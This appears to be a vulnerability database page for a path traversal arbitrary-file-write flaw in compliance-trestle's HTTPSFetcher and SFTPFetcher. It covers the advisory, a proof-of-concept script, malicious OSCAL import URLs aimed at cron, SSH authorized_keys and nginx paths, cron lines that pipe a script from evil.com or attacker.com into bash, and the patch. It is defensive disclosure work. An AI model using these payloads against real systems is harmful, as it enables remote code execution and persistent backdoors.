Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessHost server with malicious OSCAL profile
-
DeliveryVictim pipeline fetches remote profile imports
-
ExploitHTTPSFetcher parses traversal-laden URL unsanitized
-
ExecutionCache path resolves outside .trestle/.cache boundary
-
PersistAttacker-controlled HTTP response written to target system file
-
ImpactPayload executes via cron scheduler or SSH key login
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | Exploitation requires that: (1) the target is running compliance-trestle versions 4.0.0-4.0.2 or < 3.12.2; (2) the trestle process fetches a remote OSCAL profile whose imports section references a URL containing |
| Impact | The CVSS 4.0 base score of 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N) captures the direct arbitrary-file-write impact but understates the realistic chain: because the written content is fully attacker-controlled, subsequent system impact via cron injection or SSH key placement (reaching SC:H/SI:H in a 4.0 framing) is a realistic and documented attack path. EPSS at 0.05% (15th percentile) and absence from CISA KEV indicate that mass exploitation has not been observed, consistent with the niche deployment footprint of this library. However, the presence of a working PoC in the public advisory lowers the exploitation barrier significantly. The PR:L metric is important: the attacker must influence which OSCAL profile the victim processes - in automated CI/CD pipelines that pull remote compliance profiles, this barrier may be lower than it appears. The attack complexity is low (AC:L) once an attacker can supply a crafted profile URL. Comparing signals: CVSS severity is High, EPSS is low, no KEV, but PoC exists and the documented impact chain reaches RCE - this should be treated as a high-priority patch for any environment running trestle in automated pipelines or as root. |
| Exploit ScenarioDerived | An attacker who can supply or tamper with an OSCAL profile (e.g., via a compromised upstream repository or a man-in-the-middle position) crafts an import URL such as https://evil.com/../../../../../../../etc/cron.d/backdoor and hosts a server that responds with a cron payload (e.g., * * * * * root curl https://attacker.com/shell.sh | bash). When a CI/CD pipeline running compliance-trestle as root resolves the profile's imports, HTTPSFetcher writes the cron payload outside the cache boundary to /etc/cron.d/backdoor, achieving remote code execution within one minute. A working PoC demonstrating the file write primitive is included in the public GHSA advisory. |
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Alert meAnalysisAIv2 – Aug 13, 2026
Arbitrary file write with attacker-controlled content in IBM compliance-trestle (pip package) versions up to 4.0.2 and before 3.12.2 allows a network-positioned attacker with low privilege to escape the library's cache directory by embedding path traversal sequences in OSCAL profile import URLs. The HTTPSFetcher and SFTPFetcher components in trestle/core/remote/cache.py construct local cache paths directly from URL path components without sanitizing ../ sequences, permitting writes to arbitrary filesystem locations such as /etc/cron.d or /root/.ssh/authorized_keys. Publicly available exploit code (PoC) exists in the GitHub Security Advisory GHSA-g3vg-vx23-3858; no active exploitation has been confirmed by CISA KEV, and EPSS is very low at 0.05% (15th percentile).
Earlier versions of this analysis (1)
Arbitrary file write in the compliance-trestle Python library (versions 4.0.0-4.0.2 and any release below 3.12.2) lets an attacker who controls a referenced OSCAL artifact plant attacker-supplied content anywhere the trestle process can write. The HTTPSFetcher and SFTPFetcher cache layer builds the local cache file path directly from the URL path component, so when trestle imports a remote OSCAL profile whose href contains ../ traversal the fetched HTTP/SFTP response body escapes the .trestle cache directory; overwriting files such as /etc/cron.d entries, ~/.ssh/authorized_keys, or a module on sys.path turns the primitive into code execution. A reproducible public proof-of-concept exists in the GHSA advisory (GHSA-g3vg-vx23-3858); the flaw is not listed in CISA KEV and no CVSS or EPSS scoring is provided, but the maintainers have shipped fixes in 4.0.3 and 3.12.2.
RemediationAI
Upgrade to compliance-trestle 4.0.3 (for the 4.x branch) or 3.12.2 (for the 3.x branch) - both are confirmed fixed versions per the GHSA advisory and the two patch commits: 89f4e53d159e8ff901da4d7c3b51c9556bd32ec0 and 9abc492329fcc8d0557182317de9bde854385da3 (https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0). The fix adds a PathSecurityValidator class that checks for ../ in URL paths before cache path construction and performs an is_relative_to() boundary check on the resolved path. If immediate patching is not possible, restrict the OS user account running trestle to a dedicated low-privilege account with no write access to sensitive paths (/etc/cron.d, ~/.ssh, /etc/nginx, Python sys.path directories) - note this limits the blast radius but does not prevent the traversal write to locations writable by that account. Additionally, avoid processing OSCAL profiles from untrusted or unauthenticated remote sources in automated pipelines until the patch is applied. Full advisory at https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
compliance-trestle (pkg:pip/compliance-trestle) is a Python library maintained under the oscal-compass project for authoring and validating OSCAL (Open Security Controls Assessment Language) documents. The vulnerability resides in trestle/core/remote/cache.py at lines 259-266 (HTTPSFetcher) and 328-333 (SFTPFetcher). Python's urllib.parse.urlparse preserves literal ../ sequences in the .path attribute - it does not resolve or normalize traversal segments. The vulnerable code slices u.path, computes its parent with pathlib.Path.parent (which also preserves traversal), and then concatenates this unvalidated fragment onto the cache root directory using the / operator, which in pathlib resolves relative segments. Because mkdir(parents=True, exist_ok=True) is subsequently called, any intermediate directories - including those outside the intended .trestle/.cache boundary - are created before write_text() drops attacker-controlled HTTP response content at the resolved location. CWE-73 (External Control of File Name or Path) captures the root cause: the URL path is externally controlled and is used directly to determine a filesystem write destination. CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) describes the structural consequence - no is_relative_to() boundary check is performed on the resolved path.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Network-reachable fetch with low attacker privilege; scope changes because writes target OS-level files (cron, SSH) beyond the application boundary; no confidentiality or direct availability impact from the write primitive alone.
Primary rating from Vendor (https://github.com/oscal-compass/compliance-trestle).
CVSS VectorVendor: https://github.com/oscal-compass/compliance-trestle
Lifecycle Timeline
2DescriptionCVE.org
Summary
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Affected Component
Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:259-266 - HTTPSFetcher cache path construction
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self._uri} requires hostname')
https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
# ❌ Creates dirs outside cache
self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)cache.py:285-295 - Content written to traversed path
def _do_fetch(self) -> None:
# ...
response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
if response.status_code == 200:
result = response.text
# ❌ Attacker-controlled content
self._cached_object_path.write_text(result)
# ❌ Written to arbitrary pathcache.py:328-333 - SFTPFetcher (identical pattern)
class SFTPFetcher(FetcherBase):
def __init__(self, ...):
# Identical path construction - same vulnerability
sftp_cached_dir = self._trestle_cache_path / u.hostname
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
sftp_cached_dir = sftp_cached_dir / path_parent
sftp_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)Root Cause:
urlparse("https://evil.com/../../../tmp/pwned.json").path=/../../../tmp/pwned.json- preserves../pathlib.Path(u.path).parentpreserves traversal sequencescache_dir / hostname / "../../../../../../tmp"resolves outside cachemkdir(parents=True, exist_ok=True)creates intermediate directorieswrite_text(response.text)writes attacker-controlled content to traversed path- No
is_relative_to()boundary check on the resolved path
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2PoC: Malicious OSCAL Profile
# malicious_profile.yaml - arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"PoC: Cache Path Traversal Simulation
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)
evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)
print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)
Remediation
Fix for HTTPSFetcher (cache.py:259-266):
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
https_cached_dir = self._trestle_cache_path / u.hostname
# ✅ Sanitize path: remove traversal sequences
safe_path = pathlib.PurePosixPath(u.path).parts
safe_path = [p for p in safe_path if p != '..' and p != '/']
path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = https_cached_dir / safe_path[-1]
# ✅ Boundary check
if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
raise TrestleError(
f"Cache path traversal blocked: URL '{uri}' resolves to "
f"'{self._cached_object_path.resolve()}' outside cache directory"
)Same fix required for SFTPFetcher at lines 328-333.
References
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
1. Cron Job Injection → Remote Code Execution
# Profile that writes a cron job
imports:
- href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'2. SSH Authorized Keys Injection
imports:
- href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"Attacker's server responds with their SSH public key.
3. Config File Overwrite
imports:
- href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"4. Python Path Hijacking
Write malicious .py file to a location on sys.path for code execution on next import.
Executive ViewAI
IBM compliance-trestle (pip package) versions prior to 3.12.2 and through 4.0.2 contain a path traversal vulnerability enabling attackers with low-level privileges to write arbitrary files to critical system locations including SSH configurations and cron job directories. Publicly available exploit code exists, creating substantial risk of unauthorized system access and privilege escalation for any organization using affected versions. Organizations running trestle for compliance management should prioritize immediate patching to prevent system compromise.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
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EUVD-2026-58356
GHSA-g3vg-vx23-3858
NVD
CVE.org
EPSS
VulDB
Exploit-DB